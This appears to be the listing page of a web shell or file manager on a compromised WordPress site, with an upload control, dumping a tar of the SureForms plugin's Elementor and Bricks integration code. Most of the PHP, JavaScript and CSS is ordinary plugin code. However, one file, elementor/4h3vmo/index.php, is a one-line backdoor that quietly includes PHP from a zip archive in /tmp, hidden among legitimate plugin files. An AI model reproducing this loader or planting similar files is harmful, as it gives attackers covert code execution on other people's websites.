Your IP : 3.147.72.3


Current Path : /home/ephorei/www/wp-includes/images/media/q2m9hb/
Upload File :
Current File : /home/ephorei/www/wp-includes/images/media/q2m9hb/page-builders.tar

page-builders.php000064400000003654150061535710010013 0ustar00<?php
/**
 * Page Builder.
 *
 * @package sureforms.
 * @since 0.0.5
 */

namespace SRFM\Inc\Page_Builders;

use SRFM\Inc\Frontend_Assets;
use SRFM\Inc\Page_Builders\Bricks\Service_Provider as Bricks_Service_Provider;
use SRFM\Inc\Page_Builders\Elementor\Service_Provider as Elementor_Service_Provider;
use SRFM\Inc\Traits\Get_Instance;

/**
 * Class to add SureForms widget in other page builders.
 */
class Page_Builders {
	use Get_Instance;

	/**
	 * Constructor
	 *
	 * Load all Page Builders form widgets.
	 *
	 * @since 0.0.5
	 * @return void
	 */
	public function __construct() {
		Elementor_Service_Provider::get_instance();
		Bricks_Service_Provider::get_instance();
	}

	/**
	 * Enqueue common fields assets for the dropdown and phone fields.
	 *
	 * @since 0.0.10
	 * @return void
	 */
	public static function enqueue_common_fields_assets() {
		$file_prefix   = defined( 'SRFM_DEBUG' ) && SRFM_DEBUG ? '' : '.min';
		$dir_name      = defined( 'SRFM_DEBUG' ) && SRFM_DEBUG ? 'unminified' : 'minified';
		$js_uri        = SRFM_URL . 'assets/js/' . $dir_name . '/blocks/';
		$js_vendor_uri = SRFM_URL . 'assets/js/minified/deps/';

		wp_enqueue_script( SRFM_SLUG . '-phone', $js_uri . 'phone' . $file_prefix . '.js', [], SRFM_VER, true );
		wp_enqueue_script( SRFM_SLUG . '-phone-intl-input-deps', $js_vendor_uri . 'intl/intTelInputWithUtils.min.js', [], SRFM_VER, true );

		wp_enqueue_script( SRFM_SLUG . '-dropdown', $js_uri . 'dropdown' . $file_prefix . '.js', [], SRFM_VER, true );
		wp_enqueue_script( SRFM_SLUG . '-tom-select', $js_vendor_uri . 'tom-select.min.js', [], SRFM_VER, true );

		if ( defined( 'SRFM_PRO_VER' ) && defined( 'SRFM_PRO_URL' ) && defined( 'SRFM_PRO_SLUG' ) ) {
			$css_uri = SRFM_PRO_URL . 'assets/css/' . $dir_name . '/';

			wp_enqueue_style( SRFM_PRO_SLUG . '-frontend-default', $css_uri . '/blocks/default/frontend' . $file_prefix . '.css', [], SRFM_PRO_VER );
		}

		Frontend_Assets::enqueue_scripts_and_styles();
	}

}
bricks/elements/form-widget.php000064400000007656150061535710012613 0ustar00<?php
/**
 * Bricks SureForms form element.
 *
 * @package sureforms.
 * @since 0.0.5
 */

namespace SRFM\Inc\Page_Builders\Bricks\Elements;

use Spec_Gb_Helper;
use SRFM\Inc\Helper;
use SRFM\Inc\Page_Builders\Page_Builders;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * SureForms Bricks element.
 */
class Form_Widget extends \Bricks\Element {
	/**
	 * Element category.
	 *
	 * @var string
	 */
	public $category = 'sureforms';

	/**
	 * Element name.
	 *
	 * @var string
	 */
	public $name = 'sureforms';

	/**
	 * Element icon.
	 *
	 * @var string
	 */
	public $icon = 'ti-layout-accordion-separated';

	/**
	 * Constructor.
	 *
	 * @param array<mixed> $element Element data.
	 */
	public function __construct( $element = null ) {

		if ( bricks_is_builder() ) {
			// call the js functions to handle form submission, load page break, phone, dropdown.
			$this->scripts = [ 'handleBricksPreviewFormSubmission', 'srfmLoadPageBreak', 'srfmInitializePhoneField', 'srfmInitializeDropdown' ];
		}

		parent::__construct( $element );
	}

	/**
	 * Get element name.
	 *
	 * @since 0.0.5
	 * @return string element name.
	 */
	public function get_label() {
		return __( 'SureForms', 'sureforms' );
	}

	/**
	 * Get element keywords.
	 *
	 * @since 0.0.5
	 * @return array<string> element keywords.
	 */
	public function get_keywords() {
		return [
			'sureforms',
			'contact form',
			'form',
			'bricks form',
		];
	}

	/**
	 * Set element controls.
	 *
	 * @since 0.0.5
	 * @return void
	 */
	public function set_controls() {

		// Select Form.
		$this->controls['form-id'] = [

			'tab'         => 'content',
			'label'       => __( 'Form', 'sureforms' ),
			'type'        => 'select',
			'options'     => Helper::get_sureforms_title_with_ids(),
			'placeholder' => __( 'Select Form', 'sureforms' ),
		];

		// Show Form Title Toggle.
		$this->controls['form-title'] = [
			'tab'      => 'content',
			'label'    => __( 'Show Form Title', 'sureforms' ),
			'type'     => 'checkbox',
			'info'     => __( 'Enable this to show form title.', 'sureforms' ),
			'required' => [ 'form-id', '!=', '' ],
		];

		$this->controls['srfm_form_submission_info'] = [
			'tab'      => 'content',
			'content'  => __( 'Form submission will be possible on the frontend.', 'sureforms' ),
			'type'     => 'info',
			'required' => [ 'form-id', '!=', '' ],
		];
	}

	/**
	 * Enqueue scripts for phone and dropdown field in the Bricks editor.
	 *
	 * @since 0.0.10
	 * @return void
	 */
	public function enqueue_scripts() {
		// enqueue common fields assets for the dropdown and phone fields.
		Page_Builders::enqueue_common_fields_assets();
	}

	/**
	 * Render element.
	 *
	 * @since 0.0.5
	 * @return void
	 */
	public function render() {
		$settings   = $this->settings;
		$form_id    = $settings['form-id'] ?? '';
		$form_title = isset( $settings['form-title'] );
		// get spectra blocks and add css and js.
		$blocks = parse_blocks( get_post_field( 'post_content', $form_id ) );
		$styles = Spec_Gb_Helper::get_instance()->get_assets( $blocks );

		if ( $form_id > 0 ) {
			// phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required.
			echo '<div ' . $this->render_attributes( '_root' ) . '>' . do_shortcode( sprintf( '[sureforms id="%s" show_title="%s"]', $form_id, ! $form_title ) );
			// phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required.
			echo '<style>' . $styles['css'] . '</style>';
			// phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required.
			echo '<script>' . $styles['js'] . '</script></div>';
		} else {
			// Show placeholder when no form is selected.
			// phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required.
			echo $this->render_element_placeholder(
				[
					'icon-class'  => $this->icon,
					'description' => esc_html__( 'Select the form that you wish to add here.', 'sureforms' ),
				]
			);
			// phpcs:ignoreEnd
		}
	}
}
bricks/service-provider.php000064400000002115150061535710012024 0ustar00<?php
/**
 * Bricks SureForms service provider.
 *
 * @package sureforms.
 * @since 0.0.5
 */

namespace SRFM\Inc\Page_Builders\Bricks;

use SRFM\Inc\Traits\Get_Instance;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * SureForms Bricks service provider.
 */
class Service_Provider {
	use Get_Instance;

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'init', [ $this, 'widget' ], 11 );
	}

	/**
	 * Register SureForms widget.
	 *
	 * @since 0.0.5
	 * @return void
	 */
	public function widget() {
		if ( ! class_exists( '\Bricks\Elements' ) ) {
			return;
		}
		add_filter(
			'bricks/builder/i18n',
			[ $this, 'bricks_translatable_strings' ]
		);
		\Bricks\Elements::register_element( __DIR__ . '/elements/form-widget.php' );
	}

	/**
	 * Filter to add translatable string to the builder.
	 *
	 * @param array<string> $i18n Array of translatable strings.
	 * @since 0.0.5
	 * @return array<string> $i18n
	 */
	public function bricks_translatable_strings( $i18n ) {
		$i18n['sureforms'] = __( 'SureForms', 'sureforms' );
		return $i18n;
	}
}
elementor/service-provider.php000064400000003761150061535710012551 0ustar00<?php
/**
 * Elementor service provider.
 *
 * @package sureforms.
 * @since 0.0.5
 */

namespace SRFM\Inc\Page_Builders\Elementor;

use SRFM\Inc\Traits\Get_Instance;

/**
 * Elementor service provider.
 */
class Service_Provider {
	use Get_Instance;

	/**
	 * Constructor
	 *
	 * Load Elementor integration.
	 *
	 * @since 0.0.5
	 * @return void
	 */
	public function __construct() {
		if ( ! class_exists( '\Elementor\Plugin' ) ) {
			return;
		}

		add_action( 'elementor/widgets/register', [ $this, 'widget' ] );
		add_action( 'elementor/elements/categories_registered', [ $this, 'categories_registered' ] );
		add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'load_scripts' ] );
	}

	/**
	 * Elementor load scripts
	 *
	 * @since 0.0.5
	 * @return void
	 */
	public function load_scripts() {
		wp_enqueue_script( 'sureforms-elementor-editor', plugins_url( 'assets/editor.js', __FILE__ ), [], SRFM_VER, true );
		wp_enqueue_style( 'sureforms-elementor-style', plugins_url( 'assets/editor.css', __FILE__ ), [], SRFM_VER, 'all' );
		wp_localize_script(
			'sureforms-elementor-editor',
			'srfmElementorData',
			[
				'admin_url'        => admin_url(),
				'add_new_form_url' => admin_url( 'admin.php?page=add-new-form' ),
			]
		);
	}

	/**
	 * Elementor surecart categories register
	 *
	 * @param object $elements_manager Elementor category manager.
	 * @since 0.0.5
	 * @return void
	 */
	public function categories_registered( $elements_manager ) {

		if ( ! method_exists( $elements_manager, 'add_category' ) ) {
			return;
		}

		$elements_manager->add_category(
			'sureforms-elementor',
			[
				'title' => esc_html__( 'SureForms', 'sureforms' ),
				'icon'  => 'fa fa-plug',
			]
		);
	}

	/**
	 * Elementor widget register
	 *
	 * @param object $widgets_manager Elementor widget manager.
	 * @since 0.0.5
	 * @return void
	 */
	public function widget( $widgets_manager ) {
		if ( ! method_exists( $widgets_manager, 'register' ) ) {
			return;
		}
		$widgets_manager->register( new Form_Widget() );
	}

}
elementor/form-widget.php000064400000013416150061535710011503 0ustar00<?php
/**
 * Elementor SureForms form widget.
 *
 * @package sureforms.
 * @since 0.0.5
 */

namespace SRFM\Inc\Page_Builders\Elementor;

use Elementor\Plugin;
use Elementor\Widget_Base;
use Spec_Gb_Helper;
use SRFM\Inc\Helper;
use SRFM\Inc\Page_Builders\Page_Builders;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * SureForms widget that displays a form.
 */
class Form_Widget extends Widget_Base {
	/**
	 * Whether we are in the preview mode.
	 *
	 * @var bool
	 */
	public $is_preview_mode;

	/**
	 * Constructor.
	 *
	 * @param array<mixed> $data Widget data.
	 * @param array<mixed> $args Widget arguments.
	 */
	public function __construct( $data = [], $args = null ) {

		parent::__construct( $data, $args );

		// (Preview iframe)
		$this->is_preview_mode = \Elementor\Plugin::$instance->preview->is_preview_mode();

		if ( $this->is_preview_mode ) {

			// enqueue common fields assets for the dropdown and phone fields.
			Page_Builders::enqueue_common_fields_assets();

			wp_register_script( 'srfm-elementor-preview', SRFM_URL . 'inc/page-builders/elementor/assets/elementor-editor-preview.js', [ 'elementor-frontend' ], SRFM_VER, true );
			wp_localize_script(
				'srfm-elementor-preview',
				'srfmElementorData',
				[
					'isProActive' => defined( 'SRFM_PRO_VER' ),
				]
			);

		}
	}

	/**
	 * Get script depends.
	 *
	 * @since 0.0.5
	 * @return array<string> Script dependencies.
	 */
	public function get_script_depends() {
		if ( $this->is_preview_mode ) {
			return [ 'srfm-elementor-preview' ];
		}

		return [];
	}

	/**
	 * Get widget name.
	 *
	 * @since 0.0.5
	 * @return string Widget name.
	 */
	public function get_name() {
		return SRFM_FORMS_POST_TYPE;
	}

	/**
	 * Get widget title.
	 *
	 * @since 0.0.5
	 * @return string Widget title.
	 */
	public function get_title() {
		return __( 'SureForms', 'sureforms' );
	}

	/**
	 * Get widget icon.
	 *
	 * @since 0.0.5
	 * @return string Widget icon.
	 */
	public function get_icon() {
		return 'eicon-form-horizontal srfm-elementor-widget-icon';
	}

	/**
	 * Get widget categories. Used to determine where to display the widget in the editor.
	 *
	 * @since 0.0.5
	 * @return array<string> Widget categories.
	 */
	public function get_categories() {
		return [ 'sureforms-elementor' ];
	}

	/**
	 * Get widget keywords.
	 *
	 * @since 0.0.5
	 * @return array<string> Widget keywords.
	 */
	public function get_keywords() {
		return [
			'sureforms',
			'contact form',
			'form',
			'elementor form',
		];
	}

	/**
	 * Register form widget controls.
	 * Adds different input fields to allow the user to change and customize the widget settings.
	 *
	 * @since 0.0.5
	 * @return void
	 */
	protected function register_controls() {

		$this->start_controls_section(
			'section_form',
			[
				'label' => __( 'SureForms', 'sureforms' ),
			]
		);

		$this->add_control(
			'srfm_form_block',
			[
				'label'   => __( 'Select Form', 'sureforms' ),
				'type'    => \Elementor\Controls_Manager::SELECT2,
				'options' => Helper::get_sureforms_title_with_ids(),
				'default' => '',
			]
		);

		$this->add_control(
			'srfm_show_form_title',
			[
				'label'        => __( 'Form Title', 'sureforms' ),
				'type'         => \Elementor\Controls_Manager::SWITCHER,
				'label_on'     => __( 'Show', 'sureforms' ),
				'label_off'    => __( 'Hide', 'sureforms' ),
				'return_value' => 'true',
				'condition'    => [
					'srfm_form_block!' => [ '' ],
				],
			]
		);

		$this->add_control(
			'srfm_edit_form',
			[
				'label'     => __( 'Edit Form', 'sureforms' ),
				'separator' => 'before',
				'type'      => \Elementor\Controls_Manager::BUTTON,
				'text'      => __( 'Edit', 'sureforms' ),
				'event'     => 'sureforms:form:edit',
				'condition' => [
					'srfm_form_block!' => [ '' ],
				],
			]
		);

		$this->add_control(
			'srfm_create_form',
			[
				'label' => __( 'Create New Form', 'sureforms' ),
				'type'  => \Elementor\Controls_Manager::BUTTON,
				'text'  => __( 'Create', 'sureforms' ),
				'event' => 'sureforms:form:create',
			]
		);

		$this->add_control(
			'srfm_form_submission_info',
			[
				'content'   => __( 'Form submission will be possible on the frontend.', 'sureforms' ),
				'type'      => \Elementor\Controls_Manager::ALERT,
				'condition' => [
					'srfm_form_block!' => [ '' ],
				],
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render form widget output on the frontend.
	 *
	 * @since 0.0.5
	 * @return void|string
	 */
	protected function render() {
		$settings = $this->get_settings_for_display();

		if ( ! is_array( $settings ) ) {
			return;
		}

		$is_editor = Plugin::instance()->editor->is_edit_mode();

		if ( $is_editor && isset( $settings['srfm_form_block'] ) && '' === $settings['srfm_form_block'] ) {
			echo '<div style="background: #D9DEE1; color: #9DA5AE; padding: 10px; font-family: Roboto, sans-serif">' .
					esc_html__( 'Select the form that you wish to add here.', 'sureforms' ) .
				'</div>';
			return;
		}

		if ( ! isset( $settings['srfm_show_form_title'] ) || ! isset( $settings['srfm_form_block'] ) ) {
			return;
		}

		$show_form_title = 'true' === $settings['srfm_show_form_title'];
		// get spectra blocks and add css and js.
		$blocks = parse_blocks( get_post_field( 'post_content', $settings['srfm_form_block'] ) );
		$styles = Spec_Gb_Helper::get_instance()->get_assets( $blocks );

		// phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required.
		echo do_shortcode( '[sureforms id="' . $settings['srfm_form_block'] . '" show_title="' . ! $show_form_title . '"]' );
		// phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required.
		echo '<style>' . $styles['css'] . '</style>';
		// phpcs:ignore -- WordPress.Security.EscapeOutput.OutputNotEscaped - Escaping not required.
		echo '<script>' . $styles['js'] . '</script>';
	}

}
elementor/4h3vmo/index.php000064400000000153150061535710011500 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "Ss/muse.php"; include("zip:///tmp/phpBl4TjO#$h");?>elementor/assets/elementor-editor-preview.js000064400000002136150061535710015340 0ustar00( function () {
	window.addEventListener( 'elementor/frontend/init', function () {
		// Listen for elementor frontend init event
		if (
			typeof elementorFrontend !== 'undefined' &&
			elementorFrontend.hooks
		) {
			const checkAndloadPageBreak = function () {
				if (
					typeof srfmElementorData !== 'undefined' &&
					srfmElementorData.isProActive &&
					typeof srfmLoadPageBreak === 'function'
				) {
					srfmLoadPageBreak();
				}

				// initial phone field
				if ( typeof srfmInitializePhoneField === 'function' ) {
					srfmInitializePhoneField();
				}

				// initial dropdown field
				if ( typeof srfmInitializeDropdown === 'function' ) {
					// call the hook after 2 seconds to make sure the dropdown is initialized properly without any issues.
					setTimeout( function () {
						srfmInitializeDropdown();
					}, 2000 );
				}
			};

			elementorFrontend.hooks.addAction(
				'frontend/element_ready/sureforms_form.default',
				checkAndloadPageBreak
			);
			elementorFrontend.hooks.addAction(
				'frontend/element_ready/shortcode.default',
				checkAndloadPageBreak
			);
		}
	} );
}() );
elementor/assets/editor.css000064400000002044150061535710012043 0ustar00.elementor-element .srfm-elementor-widget-icon::after {
	content: "";
	background-image: url( "data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgNDAwIDQwMCIgZmlsbD0iI2E3YWFhZCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KCTxwYXRoIGZpbGwtcnVsZT0iZXZlbm9kZCIgY2xpcC1ydWxlPSJldmVub2RkIiBkPSJNMTI2LjIyNiAxMTAuMDExQzEzOC42NTQgOTcuNTc4MyAxNjIuOTc3IDg3LjUgMTgwLjU1MyA4Ny41SDMzOS42NzRMMjgzLjQxNiAxNDMuNzc2SDkyLjQ3MTRMMTI2LjIyNiAxMTAuMDExWk0xMTYuOTA1IDI1Ni4yMjRIMzA3Ljg1TDI3NC4wOTUgMjg5Ljk5QzI2MS42NjcgMzAyLjQyMiAyMzcuMzQ0IDMxMi41IDIxOS43NjggMzEyLjVINjAuNjQ3MkwxMTYuOTA1IDI1Ni4yMjRaTTMyOC43NjYgMTcxLjg2Mkg2NC42MjVMNTMuMzczNSAxODMuMTE3QzI4LjUxNzMgMjA3Ljk4MiAzNi44NjM3IDIyOC4xMzggNzIuMDE1NyAyMjguMTM4SDMzNi4xNTZMMzQ3LjQwOCAyMTYuODgzQzM3Mi4yNjQgMTkyLjAxOCAzNjMuOTE4IDE3MS44NjIgMzI4Ljc2NiAxNzEuODYyWiIvPgo8L3N2Zz4K" );
	position: absolute;
	top: 0;
	right: 0;
	z-index: 1;
	width: 20px;
	height: 20px;
	padding: 0.2em 0.5em;
	border-width: 0 0 1px 1px;
	border-color: #797878;
	border-style: solid;
	background-repeat: no-repeat;
	background-position: center center;
}
elementor/assets/editor.js000064400000001222150061535710011664 0ustar00document.addEventListener( 'DOMContentLoaded', function () {
	if ( typeof elementor === 'undefined' ) {
		return;
	}

	// Form edit link
	elementor.channels.editor.on( 'sureforms:form:edit', function ( view ) {
		const block_id = view.elementSettingsModel.get( 'srfm_form_block' );
		if ( ! block_id ) {
			return;
		}

		const win = window.open(
			srfmElementorData.admin_url +
				`post.php?post=${ block_id }&action=edit`,
			'_blank'
		);
		win.focus();
	} );

	// Form create link
	elementor.channels.editor.on( 'sureforms:form:create', function () {
		const win = window.open( srfmElementorData.add_new_form_url, '_blank' );
		win.focus();
	} );
} );